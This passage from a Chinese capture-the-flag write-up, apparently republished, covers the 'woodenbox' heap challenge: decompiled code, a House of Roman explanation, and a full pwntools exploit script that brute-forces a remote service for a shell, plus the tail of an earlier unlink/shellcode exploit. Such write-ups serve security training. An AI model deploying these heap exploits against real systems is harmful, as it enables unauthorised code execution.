show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x68
libc = LibcSearcher('__malloc_hook', addr___malloc_hook) # 2
libcbase = addr___malloc_hook - libc.dump('__malloc_hook')
addr_mprotect = libcbase + libc.dump('mprotect')
addr___free_hook = libcbase + libc.dump('__free_hook')

# unlink
pd = p64(0) + p64(0x91)
pd += p64(addr_chunk_list - 0x18) + p64(addr_chunk_list - 0x10)
pd += '\x00' * 0x70
pd += p64(0x90) + p64(0x90)
edit(0, pd)
delete(1)

# shellcode orw
pd = p64(0) * 3
pd += p64(addr___malloc_hook) + p64(addr_mprotect)
pd += asm(shellcraft.cat('/flag'))
edit(0, pd)
edit(0, p64(addr_csu_end))
# gdb.attach(p, "b *0x402399\nc")
p.sendlineafter('>> ', '1')
p.sendlineafter('______?\n', str(0x90))

pd = p64(addr_bss)
pd += amd64_csu(addr_chunk_list + 8, 0x603000, 0x1000, 7, addr_chunk_list + 0x10)
p.sendline(pd)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_mprotect = ' + hex(addr_mprotect))
success('addr___free_hook = ' + hex(addr___free_hook))
p.interactive()

Flag:


woodenbox

Description:

本题由南京航空航天大学Asuri提供。
这是一个木头屋子,里面住着罗马人。
nc 121.36.215.224 9998


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main 函数如下:

这题主要漏洞点是没有检测数组下标导致程序可以修改后门 a 上面的值,且长度为任意值:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
a = malloc(0x70uLL);
b = malloc(0x70uLL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
v3 = atoi(&buf);
if ( v3 != 2 )
break;
change_item();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
remove_item();
}
else
{
if ( v3 == 4 )
leave();
LABEL_13:
puts("invaild choice!!!");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_item();
}
}
}

menu 函数如下:

int menu()
{
puts("----------------------------");
puts("Wooden Box Menu");
puts("----------------------------");
puts("1.add a new item");
puts("2.change the item in the box");
puts("3.remove the item in the box");
puts("4.exit");
puts("----------------------------");
return printf("Your choice:");
}

add_item 函数如下:

__int64 add_item()
{
signed int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num > 11 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 11; ++i )
{
if ( !chunk_2020A8[2 * i] )
{
*(&itemlist + 4 * i) = v2;
chunk_2020A8[2 * i] = malloc(v2);
printf("Please enter the name of item:");
v3 = read(0, chunk_2020A8[2 * i], v2);
if ( *(chunk_2020A8[2 * i] + v3 - 1) == 10 )
*(chunk_2020A8[2 * i] + v3 - 1) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}

remove_item 函数如下:

unsigned __int64 remove_item()
{
signed __int64 v0; // rsi
__int64 *v1; // rdx
__int64 v2; // rax
__int64 v3; // rdx
signed int i; // [rsp+8h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v8; // [rsp+18h] [rbp-8h]

v8 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v6 = atoi(&buf);
if ( chunk_2020A8[2 * v6] )
{
free(chunk_2020A8[2 * v6]);
chunk_2020A8[2 * v6] = 0LL;
*(&itemlist + 4 * v6) = 0;
for ( i = 0; i <= 10; ++i )
{
v0 = 16LL * i;
v1 = (&itemlist + 16 * (i + 1));
v2 = *v1;
v3 = v1[1];
*(&itemlist + v0) = v2;
*(&itemlist + v0 + 8) = v3;
}
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v8;
}

change_item 函数如下:

可以看到对长度的检测是用 strlen 函数来判断的:

unsigned __int64 change_item()
{
int v0; // ST08_4
int v2; // [rsp+4h] [rbp-2Ch]
int v3; // [rsp+Ch] [rbp-24h]
char buf; // [rsp+10h] [rbp-20h]
char nptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( chunk_2020A8[2 * v2] )
{
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
v3 = read(0, chunk_2020A8[2 * v2], v0);
if ( *(chunk_2020A8[2 * v2] + v3 - 1) == 10 )
*(chunk_2020A8[2 * v2] + v3 - 1) = 0;
*(&itemlist + 4 * v2) = strlen(chunk_2020A8[2 * v2]);
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v6;
}

由此看来我们对堆块大小记录的值是可控的,又因为记载堆地址 a 的大小的地址恰好是记录堆块数量的 num 变量的地址

所以我们可以靠 change_item 函数人为控制 num 的数量,避免出现因 num 而导致的错误

leave 函数如下(挑明本题漏洞点函数):

void leave()
{
free(b);
free(b);
}

这个一看就知道是 House of Roman 了

这题可以利用修改下标 12 的堆块,即 a 堆块,实现除了堆块 a,和堆块 b 外的所有堆块的修改能力

delete 操作会删掉当前堆块和下标为 0 的堆块,所以后面要布置多少个堆块前面就要铺垫多少个堆块

之后就是 House of Roman 了,修改 unsorted bin 为 fastbin,爆破成功拿到 __malloc_hook - 0x23 的地址权限后,再修复 fastbin

再利用 unsorted bin attack 使 __malloc_hook 拥有 main_arena + 88 的地址,最后爆破将其改为 addr_one_gadget ,利用 leave 函数即可提权

赛后看 Nu1L 的 wp 发现还可以拿 _IO_2_1_stdout_ 的 chunk 实现泄露,只需要 1 / 16 的概率就能拿 shell,比我这种方法简单多了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
while True:
try:
if debug == 1:
p = process('./woodenbox2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('121.36.215.224', 9998)
libc = ELF('./libc6_2.23-0ubuntu11_amd64.so', checksec=False)
elf = ELF('./woodenbox2', checksec=False)


def add(name_len, name_content):
p.sendlineafter('Your choice:', '1')
p.sendlineafter('item name:', str(name_len))
p.sendafter('name of item:', name_content)


def edit(edit_idx, edit_len, edit_content):
p.sendlineafter('Your choice:', '2')
p.sendlineafter('index of item:', str(edit_idx))
p.sendlineafter('length of item name:', str(edit_len))
p.sendafter('name of the item:', edit_content)


def delete(delete_idx):
p.sendlineafter('Your choice:', '3')
p.sendlineafter('index of item:', str(delete_idx))


libc___malloc_hook = libc.sym['__malloc_hook']
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
# make fake unsorted bin fd
add(0x10, '0')
add(0x10, '1')
add(0x10, '2')
add(0x10, '3')
add(0x60, '4')
add(0x60, '5')
add(0x60, '6')
add(0xc0, '\x00' * 0x68 + p64(0x61))
add(0x10, '8')
delete(0)
delete(6)
add(0xc0, p16(0xcaed))
pd = 'a' * 0x70
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0x71)
pd += '\x00' * 0x60
pd += p64(0) + p64(0x71)
pd += '\x00' * 0x60
pd += p64(0) + p64(0x71)
pd += '\x00' * 0x60
pd += p64(0) + p64(0x71)
edit(12, 0x1000, pd)

# make fake fastbin fd
delete(3)
delete(3)
delete(0)
pd = 'a' * 2
pd += '\x00' * 0x6e
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0x71)
edit(12, 0x1000, pd + '\xd0')
add(0x60, '0')
add(0x60, '1')
add(0x60, '2')

# fix fastbin fd
delete(1)
pd += '\x00' * 0x60
pd += p64(0) + p64(0x71)
pd += '\x00' * 0x60
pd += p64(0) + p64(0x71)
pd += '\x00' * 0x60
pd += p64(0) + p64(0x71)
pd += '\x00' * 0x10
edit(12, 0x1000, pd)
add(0xc0, '0')
add(0x20, '8')
delete(0)
pd += '\x00' * 0x50
pd += p64(0) + p64(0x61)
pd += '\x00' * 0x50
pd += p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0) + p64(0xd1)
edit(12, 0x1000, pd + p64(0) + p16(0xcb00))
add(0xc0, '0')
info('libc___malloc_hook = ' + hex(libc___malloc_hook))
for i in range(0, len(libc_one_gadget)):
info('libc_one_gadget[' + str(i) + '] = ' + hex(libc_one_gadget[i]) +
';offset = ' + hex(libc___malloc_hook - libc_one_gadget[i]))
pd = '\x00' * 0x13
pd += '\xa4\x82\x21' # libc_one_gadget[2]
edit(2, 0x1000, pd)
# gdb.attach(p)
p.sendlineafter('Your choice:', '4')
p.recv()
p.sendline('ls -la')
p.recv()
p.recv(timeout=0.1)
p.interactive()
break
except:
p.close()
continue

Flag:

flag{D0_y0u_kn0w_h0o34_o7_R0m4n?}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK